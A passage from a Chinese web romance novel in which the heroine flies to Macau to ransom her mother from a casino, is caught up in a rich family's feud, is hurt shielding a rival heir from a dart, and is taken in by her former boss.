那块表痛快收了,但那条手链,一眼可见价格不菲,她不敢定价。 “这个要等我们老板过来定价。”店员说,“您看是先寄存在这里,还是我们老板来了我给您打电话再拿过来?” “先存着吧,我等你消息。” 老板不知道几点等到,沈韫浓不想在店里等。 这家二奢店在这条街上开了有五六年了,在圈内都挺有名的,沈韫浓拿了回执单,也不怕他们会抵赖。 看店员的意思,手链应该值些钱,想想这东西竟然是她用一个两万块的打火机换来的,沈韫浓越发觉得命运的玄妙。 说来也巧,沈韫浓前脚刚走,陈知意后脚就到了。 她自然不是来出二手的,也不买,就是来周彦店里坐坐,碰碰运气,看楼铮在不在。 自从王家的事情后,她总觉得,楼铮在有意无意地避开她。 陈知意推门进来,店员正拿着那条手链,准备单独入保险柜。 “那是……楼铮放在这儿的?”陈知意眼尖,一眼便认了出来,马上问。 “陈小姐开玩笑,楼小爷怎么可能出二手?是一位小姐送来的,我等周总来定价。” 一位小姐? 陈知意心里一凌,莫名的就闪过沈韫浓的身影,她试探着问道:“那位小姐,是不是姓沈,长得……挺好看的,皮肤很白,眼睛底下还有颗痣?” 店员知道这位陈小姐跟楼小爷的关系,嘶……两位都不好得罪。 原本店里是有规定不能透露客户信息,但陈小姐猜到了那是另一回事。 店员讪笑:“陈小姐,这可不是我说的。” 那一刻,陈知意的心里闪过杀意,一口白牙都快暗暗咬碎了。 沈韫浓,这个死绿茶,亏她还真的以为她跟楼铮什么事都没有! 这条手链是她和楼铮一起在拍卖会得来的,本以为楼铮要买来送她,谁知等来等去,生日都过了,还没见楼铮送,原来是到了沈韫浓手里。 上千万的东西,说送就送了,要说她跟楼铮没什么,鬼都不信。 有了这个认知,楼铮突然变冷的态度也就很好理解了。 他也是鬼迷心窍了,不想娶自己,难道还要娶沈韫浓这么个出身低贱的女人吗? 陈知意气得肺疼,她暗自握拳,眼中闪过一丝阴毒。 她没有久留,给那条手链拍过照就离开了。 沈韫浓,可真是好样的,在眼皮子底下抢她的人,把她当猴耍! 对于沈韫浓卖东西,陈知意有一个猜测。 她等不及,在车里就给陈兴邦打了电话。 “爸,你能给我查一下沈英耀的行踪吗?” 周彦睡醒去店里已经中午,第一时间给楼铮打了视频。 “好眼熟的东西,你认识吗?”他举着那条手链,笑得欠打。 楼铮当时便寒了脸色。 “等着。”他冷冷说,直接把视频挂了。 周彦看店员,还在笑:“还不快去泡杯菊花茶,一会儿某些人的火气,怕是要把咱们这小店烧了。” 楼铮连闯了几个红灯,一直到店里,还沉着脸:“你多少钱收的?” 周彦:“没敢开价呢,这不是在等你嘛。” 说着,又用下巴指了指陈列在柜台上的一块表:“这也是她卖的,给了二十五万。” 这么缺钱吗? 楼铮这阵子为了聚变海油隧道的项目和在海市开新公司的事,已经要忙飞了。他凌晨才刚落地的海市,还没来得及联系陆枭。 这会儿,他才注意到手机忘记充电自动关机了。 他在店里充上电开机,没多久陆枭的消息就涌了进来。楼铮看着顾曦薇的巨幅海报,眉头紧锁,直接给陆枭打了电话。 陆枭:“沈助理如果缺钱的话,应该就是为了她妈妈的事情。不过……” 他顿了一下,“不止我咱们的人在盯着沈英耀,至少有三波人在盯他,包括贺少。” 楼铮了然,把手链收进自己口袋。 挂了电话对周彦道:“我一会儿让人转两千万给你,你转给她。” 周彦:“你不是一千万拍的?” 楼铮没好气:“你管我?” …… 知道那条手链值两千万时,沈韫浓惊讶地瞪大了眼睛。 她何德何能,拿楼铮这么贵重的东西? 以至于一直到卡里的钱到账,她还有点晕——她不想欠楼铮的,可又实实在在欠了。 沈韫浓劝自己,等从澳城回来看看能剩多少吧,剩下的先还给他,欠多少,只能以后再慢慢说。 钱一到账,沈韫浓就坐上了去澳城的飞机。 她只带了简单的行李,也没有告诉林贞,不然以林贞的性格,知道她要去澳城做的事,一定会跟去,太危险。 落地澳城是晚上。 说来也怪,原本沈韫浓还慌得一批,将近3小时的飞行时间里,她竟然慢慢平静下来。 赌场无非就是要钱,500万不行她就加倍,钱没了可以再赚,总不能看着顾曦薇一把年纪真的再回风月场上去。 澳城纸醉金迷,比海市更甚。 湿润的海风吹拂着她,看着贯穿城市的璀璨大道,沈韫浓想起小时候听顾曦薇说,新葡京附近的桥上每天都有穷途末路的赌鬼跳下去。 也不知沈英耀那个老变态能撑多久,舍不舍得去死。 她看到了那个巨幅海报。 无数人站在下面拍照。 “你冇听过佢啊?”一个人指着海报上顾曦薇那张漂亮的脸说,“千禧年最后嘅玫瑰。” 这话已经是客气,没有说顾曦薇是鸡。 沈韫浓压了压帽檐,快步走过。 晚上8点,她随着人流进了娱乐城。 因为看上去年纪太小,还被查了身份证。 沈韫浓不打牌,跟门童说明来意。 那人很快去了,不一会儿,来了一个看上去体型很庞大,一脸凶相的中年男人,叫彪哥。 沈韫浓知道他是看场子的,不是幕后大老板。 但这种事,他可以做主。 彪哥坐下,翘着二郎腿吸雪茄,沈韫浓立在他面前不卑不亢。 她拿出准备好的卡,里面存了800万。 顾曦薇才被卖给他两天,身家就涨了300万,沈韫浓觉得这个钱够了。 “我来给家母赎身。”沈韫浓说,“这里面有800万,已经已经高于合同价了。” 那位彪哥吸了口雪茄,看她的眼神满是兴味。 “你知道我500万买了雪梨几年吗?”他常年跟大陆赌鬼打交道,普通话很好,笑容里满是多年江湖厮杀的血腥气。 沈韫浓不怕,静静地回视他:“您别欺负我年纪小,又是内地来的。澳城的规矩我懂,我赎金给的也够多了。” 彪哥搭在左腿上的右腿晃了晃,皮鞋闪着暗光。 “别跟我谈规矩,我的地盘,我就是规矩。”他又用眼睛从头到尾扫了沈韫浓一遍,“你是雪梨的女儿?长得比雪梨还要好。” 平平淡淡的一句夸奖,让沈韫浓的汗毛都竖了起来。 她的神经在一瞬间变得警惕。 还没开口,只听一个轻佻的声音道:“阿彪,唔好吓亲靓女(别吓着美女)。” 第九十八章 她背不动锅 沈韫浓循声望去,竟然看到了一张酷似贺韶瑭的脸。 来人比贺韶瑭稍矮一点,中长发在脑后扎着,黑色长衫,比起贺韶瑭的张扬,气质沉冷。 沈韫浓的心紧了一紧,果然跟贺韶瑭脱不了关系。 但就算知道是个大坑,她也要来的。 那人过来,彪哥起身让座,他坐在了那张太师椅上。 之后对沈韫浓勾唇,用不太标准的普通话自我介绍:“敝姓贺,贺今朝。” 沈韫浓在澳城还是七八年前,没听说过这号人物。 但姓贺,更加证实了她的猜测。 她什么都没问,只是点点头:“贺先生,我来赎我母亲。” 贺今朝身子往后靠,肆无忌惮地看她。 “怕是不行,我海报都挂了两天了,不少人慕名而来,如果这个时候让雪梨走了,不是砸自己招牌吗?” “我可以多付您一些钱。”沈韫浓坚持。 贺今朝:“不是钱的事。” 他让人拿了顾曦薇的卖身合同来,递给沈韫浓看。 “现在违约金已经跟过去不同了,沈小姐,至少5000万哦。” 沈韫浓看上面的条款,和底下顾曦薇的签字,她的心猛地往下坠。 “我手里钱不够,您宽限一段时间,等我回去立刻凑给您。” “不用那么麻烦,沈小姐。”贺今朝摆摆手,看她的眼神满是攻击性,“你一看就非常有孝心,不如替雪梨在我这里发一段时间的牌咯。” 他伸出一根食指:“一年怎么样?” 对方摆明了不是要钱,沈韫浓看势头不对,下意识往门口方向走。 几个马仔冲过去,直接挡住了门。 贺今朝站起身,调笑着步步逼近:“怕什么?我又不会吃了你。” 他对着沈韫浓的脸虚虚伸手:“这么美的一张脸,我都不敢想,有你在,我这娱乐城生意会好成什么样。” 贺今朝的手并没有碰到沈韫浓,但她依然被他沉冷的气息激得抖了一下。 她往后躲,脱口而出:“我要见贺韶瑭!” 一时间,不管是贺今朝还是身边的彪哥,身后的马仔,都愣了一下。 贺今朝先反应过来。 他的手落到实处,他掐住了沈韫浓的下颌:“合着我们二少在大陆又是撞车,又是惹祸,都为了你是吧?” 当时他还觉得贺韶瑭发疯,对象变成面前这张脸,突然觉得合理了起来。 沈韫浓一巴掌拍掉了他的手。 贺韶瑭明明是贺家的独生子,贺今朝居然管他叫二少,那么……她脑子里一通乱猜。 “够辣丫,我猴钟意啊……”贺今朝看着手背上通红一片,也不在意,“去请二少,就说他的心头肉在我这里。” 彪哥正要动,一个声音道:“我的人,你也敢动?” 一身白衣的贺韶瑭已经推门进来。 他一双桃花眼对着沈韫浓笑:“要你跟我一起过来,不听话,偏要去坐普通客机吃苦。” 又看向贺今朝,神色转冷:“连我的人都动,你是嫌命长吗?” 贺今朝耸了耸肩:“小白兔自己送到嘴边的,这么可爱,我怎么忍得住?” 两人站在一起,一黑一白,像索命的黑白无常。 沈韫浓站在一边,不作声,静静地看着他们表演。 贺韶瑭的电话响起,他掏出手机看了一眼,唇边的笑意放大。 之后,举着手机给沈韫浓看。 是楼铮,沈韫浓看到了贺韶瑭给他的备注:“海市第一混蛋”。 心说果然对楼铮是真爱,这个备注,不知道的,以为他在调情。 贺韶瑭接了电话,沈韫浓听不到楼铮说什么,只听贺韶瑭道:“放心,在我的地盘上能让她出事?楼铮,你看不起谁呢?” 他挂了电话,抢先一步坐到了那把太师椅上,一双大长腿交叠架在桌上,闲在地看贺今朝,声音透着冷意: “贺今朝,我今天带了一百个人过来。你不放人的话,我就砸场子,到时候让全澳城的人都看看咱们贺家的热闹。” 贺今朝显然没想到贺韶瑭会这么干,为了个女人,他连贺家的面子都不顾了?! 他脸上有一闪而过的错愕。 “你确定,要为了一个女人跟我大动干戈?” 贺韶瑭勾唇,神色里带了几分嘲弄:“我的女人,来我的地盘,按规矩赎人都被个叠码仔欺负,传出去,我丢脸无所谓咯,但是我们场子不按规矩办事,以后谁还敢来,这事要是让爹地知道了,你猜,他还会不会放心把码头交给你呢?哥~” 最后这声“哥”叫得要多轻蔑有多轻蔑,明摆着不把贺今朝放在眼里。 贺今朝脸色很不好看,彪哥和几个马仔的手已经伸向了腰间。 贺韶瑭却毫无惧色,依然那副要笑不笑的表情。 沈韫浓在一旁看着,算是明白了,这个贺今朝是贺家的私生子,只不过,年纪比贺韶瑭还大。 今天这局倒也不是故意针对自己的,只不过因为沈英耀抵押了顾曦薇之后,恰逢其会,就用上了自己。 而贺韶瑭刚好借题发挥,他摆明了要压贺今朝一头,哪怕今天没有她的事儿,贺韶瑭也能找到别的理由。 沈韫浓在心里骂了贺家祖宗十八代,要内斗就关起门来好好斗,牵连她干什么! 无论如何,她不能让贺韶瑭拿她当借口,她那么瘦,可背不动这么大一口锅。 到时候传出去,贺家要弄死她,她就太冤了。 在两人要打起来的当口儿,沈韫浓迅速站到两人中间去。 “贺少,别动气,有话好好说。”她先安抚贺韶瑭,又看向贺今朝,“这位贺先生,如果800万太少,我手里有2000万,今天先给您,您也看在贺少的面子上,给我打个折扣,或者宽限我几天。” 她把另一张卡拿出来,就要双手递过去。 贺今朝看她这么识时务,倏地笑了。 “开玩笑呢沈小姐。令堂去游轮上培训了,现在很安全。既然你是我们家二少的人,那就是自己人了,我怎么能要你的钱,你明天就会见到令堂了。” “二少”叫得意味深长,贺韶瑭皱眉,明显很反感。 贺今朝这意思钱也不要了。 那份合同,他从沈韫浓手里拿过去,直接撕了,又拉过她的手,把碎纸拍在她手里。 “沈小姐,这下放心了吧。”贺今朝一手托着沈韫浓的手背,一手隔着那堆碎纸拍了拍沈韫浓的手心。 冰凉的蛇一样的触感,让沈韫浓莫名不适。 她猛地把手往后收,看了一眼贺韶瑭。 贺韶瑭起身,屈起一条手臂,示意沈韫浓挽上去:“走吧。” 当着贺今朝的面,沈韫浓不好驳贺韶瑭的面子,把自己的手虚虚地搭上去,跟他出门。 身后,贺今朝眸子散发着寒意。 “老板,就这么算了?”彪哥对着贺韶瑭的背影啐了一口,心有不甘问道。 “看看他们去哪儿,给二少送份儿‘大礼’。”贺今朝冷冷吩咐。 第九十九章 第一次被女人保护 沈韫浓跟着贺韶瑭一路从娱乐城出来。 一出门,沈韫浓又把手抽出来,想起刚才发生的事,只觉得心有余悸。 还是要道谢的,不管贺韶瑭什么居心,到底是帮了她。 “贺少,多谢。”沈韫浓追上去,真诚地说。 贺韶瑭勾唇:“吃晚饭了吗?现在是不是该欠我两顿了,澳城一顿,海市一顿?” 沈韫浓不好拒绝,忙说;“您想吃什么,我请。” 贺韶瑭指了指附近一家餐厅:“这里吧。” 这家餐厅沈韫浓小时候就知道,一杯鸳鸯奶茶敢卖到100澳币的地方,贵得让人咋舌。 但贺韶瑭刚替她省了5000万,她总不能太抠。 店里人满为患,但贺韶瑭可以刷脸坐最好的位置。 两人就在大厅吃,蒸笼堆了一桌子。 有不少人往他们的位置看,不知是看贺韶瑭还是看沈韫浓。 有个胖胖的男人,甚至夸张地一边走一边回头,“咚”的一声撞在旋转门上。 沈韫浓捧着奶茶杯大笑,心里的阴霾都暂时消散了一些。 “靓女果然系红颜祸水。”贺韶瑭说,也笑。 沈韫浓:“幸好您没说我红颜薄命。” 贺韶瑭反问:“你命薄吗?” 沈韫浓摇头:“我会无病无灾活到90岁,在睡梦中安详去世。” 沈英耀那样的人,才该短命,该不得好死。 贺韶瑭:“你会算命啊,说得跟真的一样。” 沈韫浓没有回答他。 其实这是顾曦薇找人算的,那人还告诉顾曦薇,沈韫浓是个命里带福的孩子,以后能让她依靠。 这些话沈韫浓是不信的,但那个算命的靠这几句话骗走了顾曦薇1000多块。 沈韫浓跟贺韶瑭这顿饭竟然吃得很轻松。 贺韶瑭并没有想象中那么难搞,只要不提楼铮,他还算是个正常人吧,也会在她递过奶茶杯时说谢谢,很绅士。 但沈韫浓依然提着口气,没把顾曦薇带回海市之前,她都不敢放松,生怕出什么乱子。 吃完饭沈韫浓去买单,才发现钱已经从贺韶瑭的会员卡里付过了。 她难得有点不好意思:“说好了我请的。” 贺韶瑭:“欠着吧,来日方长。” 沈韫浓没作声,但她谁的也不想欠,更不想跟贺韶瑭来日方长,她只想躲得越远越好。 意外发生在吃完饭,两人从旋转门走出去,路过马路对面的典当行。 这家典当行在澳城也是出了名的,客户都是赌鬼。 “要去看看吗?没准有好东西。”贺韶瑭问她。 沈韫浓摇头:“那都是运气很差的人当掉的东西,不吉利。” 贺韶瑭:“你不也刚当了条手链?” 沈韫浓:“……” 她不问他怎么知道的,问也没有意义。他在通知她来澳城后,一定盯紧了她的动向。 贺韶瑭让她来,就是想利用她,让自己跟贺今朝的冲突师出有名。 但论迹不论心,好歹他帮了自己。 贺韶瑭当然知道沈韫浓猜出了他的动机,他整个过程中都在等她说一句抱怨的话,也准备好了应对的说辞。 可偏偏他没等到,沈韫浓装傻。 贺韶瑭不得不承认,楼铮那个狗东西,人虽然不怎么样,但眼光是真的好。 沈韫浓这个女人,越接触,越觉得她有点东西。 沈韫浓看表,已经很晚了。 她跟贺韶瑭告别。 “贺少,今天的事多谢,我就先回去了。” 她话没说完,一个东西对着贺韶瑭飞过来。 沈韫浓余光看到,下意识伸出手背一挡。 她“啊”地痛呼出声。 是一只飞镖,直直地扎在了她的小臂上,血顺着小臂滴在地上。 十几秒的功夫,有不少保镖从四面八方涌过来,将两人护在中间。 贺韶瑭也变了脸色。 “不要放过任何可疑人员。”他沉声吩咐。 接着,一把抱起了沈韫浓:“走,去医院。” 可沈韫浓在他怀里不安分,极力挣扎,贺韶瑭又不得不放她下来。 那只镖不能直接拔,他只能伸手按住住她的伤处,又脱了自己的外套给她披上,神情瞬间紧绷,再无平日里半分玩世不恭的模样。 沈韫浓手臂生疼,却依然能分神想——看来贺韶瑭在贺家的处境,也不太好。 上了车,贺韶瑭连闯了五六个红灯,一路往医院冲。 沈韫浓白着一张脸还要安抚他:“贺少,慢点,我不急。” 贺韶瑭没说话,一直到医院,拔了那支飞镖,处理好伤口,他才松了口气。 “检验过了,镖上没有毒。”他的手下说。 但沈韫浓依然被留下打破伤风针,观察。 “你为什么要救我?”病房内只剩两人时,贺韶瑭突然问。 当然是因为脑抽了,下意识动作,没想那么多。 沈韫浓可不会说实话,她笑了下:“贺少帮了我这么大忙,我投桃报李也是应该的。” 贺韶瑭眼神动容,好一会儿才说:“从来没有女人这样保护过我。” 沈韫浓:“……” 还真是想多了。 她刚要开口告诉他自己绝对没别的意思,病房门被推开,一位打扮入时的贵妇人冲了进来。 “BB,听说你遇刺了?” 那位贵妇冲过来,拉住贺韶瑭打量,看他完好无损,才松了口气,抚了抚胸口道:“吓死妈咪了。” 沈韫浓心想,这位应该就是楼铮的姑姑楼明月了。 “妈咪我没事。”贺韶瑭说,神情乖巧。 合着还是个妈宝男。 接着,楼明月又走过来,拉了沈韫浓没受伤的那只手。 沈韫浓不习惯这样的碰触,身子发僵。 楼明月却自来熟,在她病床前坐下:“是你救了我们韶瑭啊,唔该韫浓BB。(谢谢韫浓宝贝)” 楼家人长的都好,楼明月也不例外。 她明艳大气,神色却很温柔,还有几分俏皮,热情得让沈韫浓不适应。 她在澳城生活了二十多年,现在粤语说得比普通话还顺口,这声“韫浓BB”叫得沈韫浓头皮发麻。 “不客气,贺夫人。”她僵硬地牵动嘴角,扯了个笑容出来。 楼明月看贺韶瑭没什么事,放心下来。 她也往旁边一坐,开始数落贺韶瑭:“你也真是的,沉不住气,跟他闹什么?” 贺韶瑭任凭楼明月数落,不作声,好一会儿才问:“我听说人抓住了?” “抓住了,就是他手下的人,我让人给那支镖涂上毒给贺尊华送去了,我倒要看看,老贺这次还会不会偏心!”楼明月语气不善。 贺尊华是贺韶瑭的父亲,他们口中的那个“他”想必就是贺今朝了。 沈韫浓没想到母子两人当着她的面聊这些,她有些不自在。 此时,病房门被轻叩了两声,楼铮赫然出现在门口。 第一百章 这么肉麻吗 楼铮一进门,病房里的空气都冷了几度。 楼明月诧异道:“阿铮怎么来了?什么时候到的,不告诉姑姑一声?” “姑姑。”楼铮脸色不太好,跟楼明月打了个声招呼,就几步走到沈韫浓病床前。 自从辞职之后,沈韫浓有大半个月没见楼铮了,没想到再见面,会是在澳城的医院里。 楼铮瘦了,也憔悴了,下巴上胡子的青茬明显,眼睛都有些凹陷,好像没睡好似的。 沈韫浓有些走神地想:楼氏最近这么忙,总裁连睡觉刮胡子的时间都没有了? 他黑着脸站在床边不说话,以至于沈韫浓都觉得紧张,她咽了下口水,开口打了招呼:“楼小爷。” 楼铮没搭理她,伸手抚上她的右臂查看。 伤口已经缠了纱布,也看不出什么来。 “没事,就是被扎了一下,见了点血,不严重。”沈韫浓说。 “不严重?你还想怎么严重?死在这里吗?!”楼铮的声音带着强压的怒气。 又看向贺韶瑭:“还是贺少本事,把我的助理骗过来当枪使。却连个人都护不住,在我面前叫得欢,我当你多厉害,原来只会窝里横啊。” 楼明月知道侄子跟儿子关系差,但在家里人面前,两人都还会克制,今天这一出…… 她的目光在楼铮和沈韫浓之间扫了一眼,她也年轻过,楼铮看沈韫浓的眼神,她懂。 贺韶瑭理亏,尴尬地咳了一声,却还要嘴硬:“没想到吧,她会为了保护我受伤,我看你就是嫉……啊!” 贺韶瑭被楼明月揪住手臂上的肉猛地一拧。 闭嘴吧儿子! “在自己的底盘被人围了,还要靠女人保护,我要是你都没脸说。”楼铮对贺韶瑭冷冷道。 “是,够没出息的。”楼明月附和道,又看向沈韫浓,“没想到韫浓你是阿铮的助理啊,阿铮眼光真的好啊。” 她说完看向贺韶瑭:“你跟我回去以后,乖乖加强训练,另外,再去给我吃半个月素,好好养养你的性子!” 等楼铮动手收拾贺韶瑭,倒不如她这个当妈的先下手。 楼铮哼了一声,贺韶瑭还想说什么,被楼明月一个眼风瞪了回去。 接着,她拉了贺韶瑭就要往外走。 一边走一边说:“阿铮,你在这里照顾韫浓,姑姑就放心了,我们就不打扰了。你照顾好韫浓,记得明天一起来家里吃饭!” 楼铮这才眉目稍霁,回了句“好的姑姑”。 楼明月放心地走了。 病房里只剩下沈韫浓和楼铮两人,气氛有淡淡的尴尬。 沈韫浓知道楼铮不爽。 今天的行为,显得好像她是个被贺韶瑭卖了还帮他数钱的傻子。 可顾曦薇被卖给了赌场,她总不能不来,至于救贺韶瑭,她真不是故意的。 沈韫浓没话找话:“你来澳城是出差吗?” 楼铮一噎。 也不知道沈韫浓是真这么以为还是装傻。 但他不跟受伤的人计较,随意地点了一下头:“算是吧。” 沈韫浓如今已经不是楼氏的员工,也不好问楼铮具体出差内容,于是“哦”了一声后,沉默着低垂了脑袋。 楼铮见她这副样子,气不打一处来,天知道他刚落地,收到她受伤消息的时候心跳都停了几秒。 到医院一看,好么,自己被吓死,她反倒一副自己小题大做的样子! 楼铮舌尖抵着腮肉,压了好一会儿也没把胸口一股子气压下去。 “沈韫浓,半个月不见你长能耐了!改行做保镖了?练了几天格斗以为自己铜皮铁骨了,你跟我说说,你是怎么想的,去给贺韶瑭挡刀子?!” 楼铮语气讥诮,换在以前两人冷战吵架,沈韫浓高低回他一句“关你屁事”。 但现在,她知道楼铮是为了她好,于是硬着头皮解释:“不管贺少骗我来是什么目的,我都要过来。至于救他,我是脑抽了,没想那么多。” 楼铮那点邪火散了些:“算你没蠢透,还知道贺韶瑭不是个好人。但以后,遇到这种事,你可以找我帮忙。” 而不是自作主张,一个人闯入那个鬼地方。 沈韫浓顿了一会儿,最终点头:“好。” 嘴上先答应着,但以后真遇上事了,以后再说吧。 她没有第一时间跟他报备的理由,也不想占他便宜。 “今天吓坏了吧?”楼铮又问,语气软了不少。 沈韫浓强笑了一下:“说不怕是假的,我跟我妈出入这种地方两年,太知道这些人什么样。” 她好悬没死在里面。 楼铮看她这副模样,心疼得要命,只恨自己来得太慢了。 见到他,沈韫浓又想起手链的事来。 直接把两千万给他不妥,还是要还手链。 她干脆摸出手机给那个二奢店发消息:“那条手链还没卖出去吧,能不能帮我留几天?我回去赎。” 那个店的微信平时都是店员在登,好巧不巧,此时周彦刚登上,准备查一个过去的客单信息。 “要加价哦。”周彦回复。 “可以,到时候见面谈。”沈韫浓说。 周彦直接把对话截了屏发给了楼铮。 “你准备的钱沈韫浓没用上吗?不过看来你在她心里还是挺重要的,还知道要把手链赎回去。” 楼铮看了一眼消息,没有回复。 对于他送的东西,她还是珍惜的。楼铮的嘴角控制不住的往上,他连着咳了好几声才强压下来。 一肚子邪火彻底平复,楼铮又被哄好了。 已经是午夜,护士敲门,说沈韫浓观察时间到了,如果没什么不舒服就可以回去了。 沈韫浓起身。 楼铮跟她一起走出医院,他的车已经等在了门口。 “走,去我那儿”楼铮说。 他在著名的富人区有一座半山别墅,独占地利,俯瞰全城。 沈韫浓马上拒绝:“不用,我定好酒店的。” 楼铮看着她,冷冷地问了句:“你定的那家酒店,玻璃防弹吗?” 沈韫浓眼睛睁圆:“不至于吧……今天的事情,也是冲着贺少去的,我在澳城又没仇家……” “原本是没有的,但你今天挡完刀之后,就说不定了。你自己决定,要命还是避嫌。” 沈韫浓后背沁出一层细汗,在生命面前,避嫌简直不值一提。 “那,谢谢楼小爷啦!”沈韫浓再想跟楼铮划清界限,也得在保住小命的前提下。 她打开车门,正准备坐进去,就被楼铮伸手挡住了。 “不是楼总,就是楼小爷。沈韫浓,你一定要跟我这么见外吗?” 沈韫浓:“大家不都这么叫的。” 楼铮都要气笑了:“大家?大家都跟我是炮友吗?!” “炮友”明明是沈韫浓自己说的,如今被楼铮拿来用,她竟然觉得刺耳。 “楼铮,我们已经不是……” “对对对,不是炮友了,但总还能做朋友吧?”楼铮怕她又说出自己不爱听的,主动递了梯子,“我朋友你都见过,周彦他们私底下,都喊我阿铮,或者……铮哥,铮哥哥,你选一个?” 这么肉麻吗? 哪个都不想叫,可楼铮摆明了,她不喊就上不了车。 沈韫浓深吸了一口气,冲楼铮笑了笑:“那就谢谢阿铮了。” 也还行吧,楼铮勉为其难地移开手。 可惜了,差点就能听到“铮哥”了。 两人上了车,医院到楼铮的住处有段路程,车子开到半路,就有几辆挡了牌照的车突然别过来,变换着阵型,把楼铮的车挤在了中间。 第一百零一章 叫哥哥 那几辆车没有什么出格的动作,只一味地变换阵型,压着楼铮的车开。 他的车往左,有几辆车就从左侧往右侧挤,往右,就有几辆车从右侧往左侧挤。 这些车不做什么,它们的存在好像就是为了给这辆车上的人增加心理压力。 司机在前面咒骂了一声,轻声问楼铮:“小爷,怎么办。” 楼铮低头摆弄着手机,眼皮子都没抬:“凉拌。” 司机索性也不再吱声。 他常年跟在楼铮身边,也有些功夫在身上,倒是不怕这样的场面。 如果楼铮说撞出去,他二话不说就撞着那些车一路出去,又不是没这么干过。 可楼小爷现在摆明了是不想起冲突,他什么时候受过这种气。 司机余光透过后视镜,瞄了一眼沈韫浓。 心里暗自嘀咕,这位沈小姐可真是把楼小爷拿捏得死死的,搞不好,这位就是未来的老板娘了,可得打好关系。 司机正胡思乱想间,已经到了下一个路口。 突然,有不同的车从四面八方冲过来,对着那些车辆猛撞过去。 一时间,巨大的刹车声,鸣笛声,撞车声响成一片。 这一段马路仿佛成了碰碰车游乐场,在一片“砰”“砰”的撞车声中,楼铮这辆车丝毫不受影响地穿了过去,半点停顿都没有。 楼铮放下手机,淡声道:“好了,烦人的苍蝇没了。” 沈韫浓坐在旁边,虽然自始至终,一个字都没说。但她的手紧握成拳,骨节发白,脸色很不好看。 楼铮说的没错,她已经被人盯上了。 如果是这样,明天她很大可能等不到顾曦薇,事情不会这么简单。 沈韫浓胡思乱想,缓不过神。 楼铮叹口气,拉过她一只手,把她掐在手心的手指一根根掰开,跟自己十指相扣。 她的手冰凉,但渗着冷汗,楼铮握紧。 “别怕。”楼铮说。 手心传来温暖干燥的触感,沈韫浓奇异地平静下来。 车子很快驶入半山别墅。 在寸土寸金的澳城,别墅的豪华程度依然让人咋舌。 这边的管家带了两个菲佣过来迎接,热情地问楼铮需不需要吃宵夜。 楼铮说:“安排吧,再给沈小姐做个安神汤,她今天受了惊吓。” 管家笑眯眯去了。 沈韫浓跟着楼铮一路上楼。 楼铮在前,她在后。 “我住哪个房间?”她问。 楼铮立住,似笑非笑转头看她:“主卧,跟我睡。” 沈韫浓的脸瞬间沉了下来:“楼铮,你说过……” 她话没说完,楼铮笑了出来:“逗你呢,你住我隔壁。” 沈韫浓松口气。 她丰富的表情变化,惹得楼铮不满:“现在避我如蛇蝎猛兽,不是你拿我当枕边玩具的时候了?” 沈韫浓:%¥#@# 这狗东西怎么这么没脸没皮的,这种事有什么好说的,光彩吗?! 进了房间,沈韫浓又意识到一个问题:她的行李在酒店,她身上就这一件衣服。 她推门出去:“诶……” 楼铮立在主卧门口,挑眉:“怎么,现在后悔想跟我睡还来得及。” 沈韫浓:“……我没带换洗衣服。” 楼铮:“好说,你叫一声哥哥我听听,我给你解决。” 一瞬间,沈韫浓心思几转,她今天这一天,又是受伤又是受惊的,过得比前面二十年加起来都刺激,再加上舟车劳顿,澳城本来就热,要是不换衣服,估计半夜就得馊。 在臭死自己和恶心死自己之间,她选择了后者。 沈韫浓闭眼,气沉丹田:“哥哥!” 楼铮觉得这一声,自己好像听到了张飞叫刘备。 他实在不想为难自己,转身走了。 “等着吧。” 五分钟后,楼铮拿了一件自己的衬衫和短裤过来敲门。 见沈韫浓无语的表情,解释道:“洗完澡先穿这个,衣服的话我让人去买了,晚点送来。” 也行吧。 沈韫浓接过道谢,就要关门。 楼铮立在门口抵住门:“你手伤着,自己洗澡行吗?” 沈韫浓嘴欠:“不行难道还要你帮我洗?” 楼铮嘴角歪了歪,不要脸道:“哪次不是我帮你洗?” ……沈韫浓恨不得给自己一巴掌,真是的,叫她嘴贱。 沈韫浓瞬间脸热:“谢谢,不用,我自己可以。” 她在关上门的前一刻,楼铮看到她耳朵连着脖子都红了。 他心情大好,留下一句“洗完了出来喝安神汤”,然后哼着歌下楼了。 沈韫浓艰难地洗完澡,心情已经调整好了一些,她穿了楼铮给的那套衣服出来,衬衫还没什么,短裤的裤腰大太多,她打了个结用头绳固定,才不至于掉下去。 楼铮已经坐在餐厅,见她出来,喉结不动声色滚了一下。 沈韫浓接受不了裸睡,所以那几次事后,她哼哼唧唧要穿衣服,都是楼铮把自己的衬衫给她穿上。 她瘦,每次穿他的衬衫都是人在衣中晃,宽袍大袖下的身段让人遐想,有种别样的风情。 女人穿男士衬衫,这就是男人的减速带。 眼下她又穿着他的衬衫出来,楼铮似被下了蛊似的,忍不住往那方面想。 他喉结滑了滑,不知道是不是汤太烫了还是空调坏了,只喝了两口,就热出了一身汗,他脱下来身上的浴袍,堆在腿间,遮住精神昂扬的楼小铮。 沈韫浓不知道他的心思,喝着汤就看到楼铮突然就把衣服脱了,立刻停下来,警惕地看着他。 “你脱衣服干什么?穿上!” “我在我自己房子里脱个衣服也不行?沈韫浓,能这么管我的,只有我老婆,我只听我老婆的话。” 见她这么紧张,楼铮一时起了玩心,更肆无忌惮,光着膀子凑近她。 沈韫浓被楼铮突然的靠近吓了一跳,起身想跑,结果被受了伤的胳膊拖后腿了,四肢不协调,一只脚被椅子绊了一下,险些摔倒,幸好楼铮及时拉住。 “好了好了,不逗你了。我就是觉得热,你好好坐着把汤喝完。” 沈韫浓好不容易能跟自己待在一个屋檐下,楼铮也不敢逼的太紧,再把人吓跑了想哄回来可不容易。 安神汤里加的都是好东西,很有效。沈韫浓喝完没多久,困意就上来了。 一觉睡到后半夜,沈韫浓忽然睡梦中惊醒。 她头疼得要命,身上冷一阵,热一阵,出了一头一后背的汗。 沈韫浓揉了揉脑袋,摸到了一手滚烫,应该是发烧了。 她实在难受,忍不住摸出手机给楼铮发消息。 “你睡了吗?” 此时已经是凌晨3点,沈韫浓原本也只是试试看,并不抱希望,谁知,楼铮秒回:“没,想我了?” 沈韫浓:“……我好像发烧了,这里有体温计吗?” 两分钟后,敲门声响起。 沈韫浓开门:“你真……” “快”还没说出口,她已经被楼铮抱了起来,带去了主卧。 沈韫浓无语:“我发烧了,换房间有什么用?” “方便照顾。”楼铮说,说话间已经踢开门,把她安置在了床上。 楼铮不在澳城常住,这边也没有安排家庭医生。 贺家现在这样的情况,他们的家庭医生,他也不敢给沈韫浓用。 楼铮把沈韫浓安置在床上,按服务铃让菲佣拿来了测温枪。 